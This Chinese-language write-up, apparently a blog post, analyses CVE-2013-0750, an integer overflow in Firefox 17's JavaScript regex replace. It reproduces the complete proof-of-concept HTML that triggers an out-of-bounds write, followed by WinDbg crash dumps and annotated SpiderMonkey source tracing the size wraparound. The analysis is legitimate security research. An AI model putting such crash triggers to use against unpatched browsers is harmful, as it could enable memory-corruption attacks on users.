有源码,不用IDA反编译,比较容易发现问题。
在Mozilla Firefox浏览器的js实现中出现整数溢出漏洞,除了影响Firefox18.0以前的所有版本,还影响了Thunderbird,SeaMonkey 等产品,这个漏洞允许攻击者通过构造字符串拼接执行恶意代码。
CVE-2013-0750影响firefox历史的全部版本,在当时绝对是一颗重磅炸弹了。看下那时候火狐的全球市场占有率。
2019年,浏览器chrome占62%,火狐虽然还是排第三,但市场占有率只有4%。不禁让人惋惜。
js正则替换的语法实现中,结果字符串使用StringBuffer类型的数据,这个字符串缓存的空间大小由ca预先申请。然而,恶意的js代码中,超长的字符串大小,导致4字节无符号整数ca变为0。也就是预期申请一个超大的内存空间,结果申请了0字节的空间。在字符串替换写入时导致非法越界写操作,引发程序崩溃。
运行环境:
版本 | |
---|---|
操作系统 | windows 7 sp1 32bit |
调试器 | windbg 6.12 32 bit |
漏洞软件 | firefox-17.0.exe |
poc.html文件, 395 bytes, created by Reed Loden。
<html>
<script type="text/javascript">
function puff(x, n){
while(x.length<n) x+=x;
x = x.substring(0, n);
return x;
}
/* x表示源字符串,预计会拼接成很多个1,如"1111111111111..11" */
var x = "1";
/* rep是替换字符串,"$1"表示第一个元组,没错,就是后面(.+)正则命中的字符串 */
var rep = "$1";
x = puff(x, 1<<20);
rep = puff(rep, 1<<16);
/* 程序会在replace这里崩溃 */
y = x.replace(/(.+)/g, rep);
alert(y.length);
script>
html>
使用firefox.exe打开poc.html文件,出现崩溃
(afc.e40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0b383778 ebx=002f0031 ecx=00300000 edx=0b580020 esi=00100000 edi=002fc840
eip=659a0583 esp=002fc74c ebp=0723a890 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010283
mozjs!DoReplace+0x93:
659a0583 668919 mov word ptr [ecx],bx ds:0023:00300000=0000
查看ecx寄存器
0:000> !address ecx
Failed to map Heaps (error 80004005)
Usage: MemoryMappedFile
Allocation Base: 00300000
Base Address: 00300000
End Address: 00401000
Region Size: 00101000
Type: 00040000 MEM_MAPPED
State: 00001000 MEM_COMMIT
Protect: 00000002 PAGE_READONLY
Mapped file name: PageFile
ecx寄存器指向的内存空间0x00300000是PAGE_READONLY
属性,也就是只读的。所以这里判定崩溃原因为是写越界。
使用windbg自动分析
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\360\360safe\safemon\urlproc.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\360\360safe\360NetBase.dll -
FAULTING_IP:
mozjs!DoReplace+93 [c:\users\momocha\desktop\mozilla-release\js\src\jsstr.cpp @ 2067]
659a0583 668919 mov word ptr [ecx],bx
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 659a0583 (mozjs!DoReplace+0x00000093)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 00300000
Attempt to write to address 00300000
FAULTING_THREAD: 00000e40
DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE
PROCESS_NAME: firefox.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx
EXCEPTION_PARAMETER1: 00000001
EXCEPTION_PARAMETER2: 00300000
WRITE_ADDRESS: 00300000
FOLLOWUP_IP:
mozjs!DoReplace+93 [c:\users\momocha\desktop\mozilla-release\js\src\jsstr.cpp @ 2067]
659a0583 668919 mov word ptr [ecx],bx
MOD_LIST:
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
LAST_CONTROL_TRANSFER: from 659a4e2d to 659a0583
ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]
PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE
BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE_STACK_CORRUPTION
STACK_TEXT:
00000000 00000000 mozjs!DoReplace+0x0
FAULTING_SOURCE_CODE:
2063: JSSubString sub;
2064: size_t skip;
2065: if (InterpretDollar(cx, res, dp, ep, rdata, &sub, &skip)) {
2066: len = sub.length;
> 2067: rdata.sb.infallibleAppend(sub.chars, len); //崩溃的源码位置
2068: cp += skip;
2069: dp += skip;
2070: } else {
2071: dp++;
2072: }
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: mozjs!DoReplace+93
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: mozjs
IMAGE_NAME: mozjs.dll
DEBUG_FLR_IMAGE_TIMESTAMP: 5c508ed0
STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ** Pseudo Context ** ; kb
FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_c0000005_mozjs.dll!DoReplace
BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_WRITE_STACK_CORRUPTION_mozjs!DoReplace+93
Followup: MachineOwner
---------
这里我们可以得到3条重要信息:
PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE
表示写指针非法;IMAGE_NAME: mozjs.dll
表示崩溃的代码在mozjs.dll模块中;FAULTING_SOURCE_CODE
指出了源代码行号位置在2067行。在看下源码
static void
DoReplace(JSContext *cx, RegExpStatics *res, ReplaceData &rdata)
{
JSLinearString *repstr = rdata.repstr;
const jschar *cp;
const jschar *bp = cp = repstr->chars();
const jschar *dp = rdata.dollar;
const jschar *ep = rdata.dollarEnd;
//for循环是不停找到$的位置,进行替换$1的操作
for (; dp; dp = js_strchr_limit(dp, '$', ep)) {
/* Move one of the constant portions of the replacement value. */
size_t len = dp - cp;
rdata.sb.infallibleAppend(cp, len);
cp = dp;
JSSubString sub;
size_t skip;
//InterpretDollar函数是讲poc中的"$1" 翻译成匹配的字符串,并保存到sub中
if (InterpretDollar(cx, res, dp, ep, rdata, &sub, &skip)) {
len = sub.length;
rdata.sb.infallibleAppend(sub.chars, len); //崩溃位置
//sb即为stringbuffer对象,这里猜测如果sb申请的空间不够,则出现写越界
cp += skip;
dp += skip;
} else {
dp++;
}
}
rdata.sb.infallibleAppend(cp, repstr->length() - (cp - bp));
}
那么sb这个变量是在哪里申请空间大小的呢?
在StringBuffer的定义中,我们找到了申请空间大小的相关函数
分别是reserve和resize:
reserve 内存分配按照:(n*16-1)分配,实际空间大小可能大于reserve的参数len。
resize 按照len分配内存,实际空间大小等于len。
同时,跟踪DoReplace的上层调用函数ReplaceRegExpCallback
static bool
ReplaceRegExpCallback(JSContext *cx, RegExpStatics *res, size_t count, void *p)
{
ReplaceData &rdata = *static_cast<ReplaceData *>(p);
rdata.calledBack = true;
size_t leftoff = rdata.leftIndex;
size_t leftlen = res->matchStart() - leftoff;
rdata.leftIndex = res->matchLimit();
size_t replen = 0; /* silence 'unused' warning */
if (!FindReplaceLength(cx, res, rdata, &replen))
return false;
size_t growth = leftlen + replen;
//这里设置了sb的空间大小,所以推测rdata.sb.length() + growth的这个计算值有问题
if (!rdata.sb.reserve(rdata.sb.length() + growth))
return false;
JSLinearString &str = rdata.str->asLinear(); /* flattened for regexp */
const jschar *left = str.chars() + leftoff;
rdata.sb.infallibleAppend(left, leftlen); /* skipped-over portion of the search value */
DoReplace(cx, res, rdata);
return true;
}
重新运行firefox.exe跟踪ReplaceRegExpCallback的执行
可以看出 [esp+1ch]
是 growth, [edi+60h]
是 rdata.sb.length()。
使用windbg脚本语句,观察这两个值得变化
bp mozjs!ReplaceRegExpCallback+0x42 ".echo;.printf\" for loop: \"; dd [esp+1ch] l1;dd [edi+60h] l1;"
0:000> g
ModLoad: 70680000 70686000 C:\Windows\system32\rasadhlp.dll
ModLoad: 73490000 734c8000 C:\Windows\System32\fwpuclnt.dll
ModLoad: 6d4c0000 6d738000 C:\Windows\System32\gameux.dll
ModLoad: 73c80000 73e10000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll
ModLoad: 73a90000 73abf000 C:\Windows\System32\XmlLite.dll
ModLoad: 6e160000 6e1c1000 C:\Windows\System32\wer.dll
ModLoad: 6e5d0000 6e5d9000 C:\Windows\system32\LINKINFO.dll
for loop: 0018c658 00000000
0018c760 00000000
eax=00000001 ebx=00000000 ecx=d0c1cdf3 edx=0018c658 esi=071689d8 edi=0018c700
eip=71814dd2 esp=0018c63c ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mozjs!ReplaceRegExpCallback+0x42:
71814dd2 8b4760 mov eax,dword ptr [edi+60h] ds:0023:0018c760=00000000
0:000> g
(218.ef8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0aa038b8 ebx=00180031 ecx=00190000 edx=0ac00020 esi=00100000 edi=0018c700
eip=71810583 esp=0018c60c ebp=08c60050 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010283
mozjs!DoReplace+0x93:
71810583 668919 mov word ptr [ecx],bx ds:0023:00190000=0020
提取打印信息
for loop: 0018c658 00000000
0018c760 00000000
0018c658 和 0018c760表示两个变量的地址,rdata.sb.length() 和growth的值都为0。所以后面会写越界。
这样,rdata.sb.length() 和growth的值如何得来成为了问题的关键。
回到源码中,我们发现growth由FindReplaceLength计算得来。
进入函数下断点,可以发现replen在一个for循环中不停累加,最后由0xFF000002+0xFFFFFE=0x00000000.
结束。
https://bugzilla.mozilla.org/show_bug.cgi?id=805121
https://developer.mozilla.org/zh-CN/docs/Simple_Firefox_build#编译火狐浏览器